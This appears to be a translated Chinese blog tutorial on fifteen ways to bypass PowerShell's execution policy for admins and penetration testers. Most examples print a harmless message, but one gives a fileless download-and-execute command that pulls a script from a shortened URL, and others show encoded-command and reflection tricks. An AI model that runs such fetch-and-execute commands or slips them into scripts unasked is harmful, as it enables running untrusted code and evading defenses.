哪些方法可以繞過PowerShell Execution Policy?

默認情況下,PowerShell禁止PowerShell腳本在Windows系統(tǒng)中執(zhí)行。這會妨礙滲透測試員,系統(tǒng)管理員,和開發(fā)人員……在這里我將在沒有系統(tǒng)管理員權限的情況下通過15個方法來繞過PowerShell execution policy。
我肯定還有很多的技術漏了(或者我根本不知道),但希望這篇文章將給需要它的人提供一個良好的開端。

** 什么是PowerShell Execution Policy?**
PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統(tǒng)中運行。默認情況下,它是“Restricted”(限制)的。然而,這個設置從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什么我們有這么多繞過它的方法。包括一些微軟提供的。更多關于在PowerShell執(zhí)行政策設置,默認的安全控制的設置。我建議閱讀Carlos Perez的博客。他提供了一個很好的概述。

** 為什么要繞過執(zhí)行政策**
我聽到的最多的原因是因為人們希望實現(xiàn)自動化操作,但下面還有一些其他原因致使PowerShell在管理員、滲透測試員、黑客們手中如此流行:

支持Windows
能調用Windows API
能在不寫入磁盤的情況下運行命令
能避免病毒的檢測
總是被標記為"信任"。是大部分應用程序的白名單一員。
曾寫出過許多的開源滲透測試工具包

如何查看Execution Policy
在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過“Restricted”(限制)execution policy。你可以通過PowerShell命令“executionpolicy“看看當前的配置。如果你第一次看它的設置可能設置為“Restricted”(限制),如下圖所示

PS C:> Get-ExecutionPolicy
Powershell_Bypass_1.png

同樣值得注意的是execution policy可以在系統(tǒng)中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這里查看微軟的“Set-ExecutionPolicy” 。

Get-ExecutionPolicy -List | Format-Table -AutoSize


實驗環(huán)境說明
在下面的例子中我將使用一個名為runme.ps1的腳本,它將包含以下PowerShell命令來寫出一個消息到控制臺:

Write-Host "My voice is my passport, verify me."

當我試圖在一個帶有默認execution policy的系統(tǒng)上執(zhí)行它時,我得到以下錯誤:


如果你目前的execution policy是開放的,你想讓它更嚴格的測試,下面的技巧,然后從管理員PowerShell控制臺運行命令“Set-ExecutionPolicy Restricted”。OK,那我接著BB了,接下來我會通過15種方法來繞過PowerShell execution policy的限制。

繞過PowerShell Execution Policy
1. 把腳本直接粘貼到交互式的PowerShell控制臺
復制并粘貼你的PowerShell腳本為一個交互式控制臺如下圖所示。但是,請記住,你將被當前用戶權限限制。這是最基本的例子,當你有一個交互控制臺時,可以方便快速地運行腳本。此外,這種技術不會更改配置或需要寫入磁盤。


2. Echo腳本并PowerShell的標準輸入
簡單的ECHO腳本到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁盤。

Echo Write-Host "My voice is my passport, verify me."  | PowerShell.exe -noprofile -


3. 從文件中讀取腳本并通過PowerShell的標準輸入
使用Windows的"type"命令或PowerShell的"Get-Content"命令來從磁盤讀取你的腳本并輸入到標準的PowerShell中,這種技術不會導致配置文件的更改,但是需要寫入磁盤。然而,如果你想試圖避免寫到磁盤,你可以從網絡上讀取你的腳本。
例1:Get-Content Powershell命令

Get-Content .runme.ps1 | PowerShell.exe -noprofile -


例2:Type 命令

TYPE .runme.ps1 | PowerShell.exe -noprofile -


4. 從網絡上下載腳本并通過IEX執(zhí)行它
這種技術可以用來從網上下載一個PowerShell腳本并執(zhí)行它無需寫入磁盤。它也不會導致任何配置更改。我已經看到它有許多創(chuàng)造性的使用方法,但最近看到它被引用到一個不錯的Matt Graeber的PowerSploit博客上。

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"


5. 使用Command
這種技術和通過復制和粘貼來執(zhí)行一個腳本是非常相似的,但它可以做沒有交互式控制臺。這是很好的方式適合執(zhí)行簡單的腳本,但更復雜的腳本通常容易出現(xiàn)錯誤。這種技術不會導致配置更改或要求寫入磁盤。
例1:完整的命令

Powershell -command "Write-Host 'My voice is my passport, verify me.'"


例2:簡短的命令

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

6. 使用EncodeCommand
這和使用"Command"命令非常像,但它為所有的腳本提供了一個Unicode / Base64編碼串。通過這種方式加密你的腳本可以幫你繞過所有通過"Command"執(zhí)行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁盤。下面的示例來自 Posh-SecMod。
例1: 完整的命令

$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand


例2: 通過簡短的命令使用編碼串

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

7. 使用Invoke-Command命令
我在obscuresec的博客看到了這種有趣的方法。這是一個典型的通過交互式PowerShell控制臺執(zhí)行的方法。但最酷的是當PowerShell遠程處理開啟時我可以用它來對遠程系統(tǒng)執(zhí)行命令。這種技術不會導致配置更改或要求寫入磁盤。

invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}


基于obscuresec博客,下面的命令還可以用來抓取從遠程計算機的execution policy并將其應用到本地計算機。

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

8. 使用Invoke-Expression命令
這是另一個典型的通過交互式PowerShell控制臺執(zhí)行的方法。這種技術不會導致配置更改或要求寫入磁盤。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。
例1:使用Get-Content的完整命令

Get-Content .runme.ps1 | Invoke-Expression


例2:使用Get-Content的簡短的命令

GC .runme.ps1 | iex

9.使用"Bypass"標記Execution Policy
當你通過腳本文件執(zhí)行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候"沒有任何東西被阻止,沒有任何警告或提示"。這種技術不會導致配置更改或要求寫入磁盤。

PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1


10. 使用"Unrestricted"標記Execution Policy
這類似于"Bypass"標記。當你使用這個標記的時候,它會"加載所有的配置文件并運行所有的腳本。如果你運行從網上下載的一個未被簽名的腳本,它會提示你需要權限",這種技術不會導致配置的更改或要求寫入磁盤。

PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1


11. 使用 "Remote-Signed"標記Execution Policy
創(chuàng)建你的腳本,然后按照教程的操作。最后,使用下面的命令運行它:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1

12. 通過交換AuthorizationManager禁用ExecutionPolicy
這真是一個我碰到的來自http://www.nivot.org的創(chuàng)意。下面的函數(shù)可以通過一個交互式的PowerShell來執(zhí)行。一旦函數(shù)被調用"AuthorizationManager"就會被替換成空。最終結果是,接下來的會話基本上不受execution policy的限制。然而,它的變化將被應用于會話的持續(xù)時間。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}  Disable-ExecutionPolicy  .runme.ps1


13. 把ExcutionPolicy設置成Process Scope
正如我們在引言中所看到的,執(zhí)行策略可以應用于多層次的。這包括你控制的過程。使用這種技術,執(zhí)行策略可以被設置為您的會話的持續(xù)時間不受限制。此外,它不會導致在配置更改,或需要寫入到磁盤。我最初發(fā)現(xiàn)這種技術來自r007break博客。

Set-ExecutionPolicy Bypass -Scope Process


14. 通過命令設置ExcutionPolicy為CurrentUser Scope
這種方法和上面那種類似。但是這種方法通過修改注冊表將當前用戶環(huán)境的設置應用到當前用戶的環(huán)境中。此外,它不會導致在配置更改,或需要寫入到磁盤。我最初發(fā)現(xiàn)這種技術來自r007break博客。

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted


15. 通過注冊表設置ExcutionPolicy為CurrentUser Scope
在這個例子中,我展示了如何通過修改注冊表項來改變當前用戶的環(huán)境的執(zhí)行策略。

HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell

總結
我覺得這里的主題是:使用的execution policy不一定是開發(fā)商,管理員,或者。微軟從來沒有打算將它成為一個安全控制。這就是為什么有這么多選擇繞過它。微軟很好地提供了一些本地選項和安全社區(qū)也拿出一些真正有趣的把戲。感謝所有通過博客和演講做出貢獻的人。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容

  • Spring Cloud為開發(fā)人員提供了快速構建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 134,869評論 18 139
  • Spring Boot 參考指南 介紹 轉載自:https://www.gitbook.com/book/qbgb...
    毛宇鵬閱讀 46,941評論 6 342
  • Ubuntu的發(fā)音 Ubuntu,源于非洲祖魯人和科薩人的語言,發(fā)作 oo-boon-too 的音。了解發(fā)音是有意...
    螢火蟲de夢閱讀 99,524評論 9 467
  • linux資料總章2.1 1.0寫的不好抱歉 但是2.0已經改了很多 但是錯誤還是無法避免 以后資料會慢慢更新 大...
    數(shù)據(jù)革命閱讀 12,218評論 2 33
  • 鏡由心生 · 閱讀 5 · 日記本 作者 【每日計劃(早宣晚結)】 聚才LP3所向披靡!學...
    鏡由心生閱讀 174評論 0 0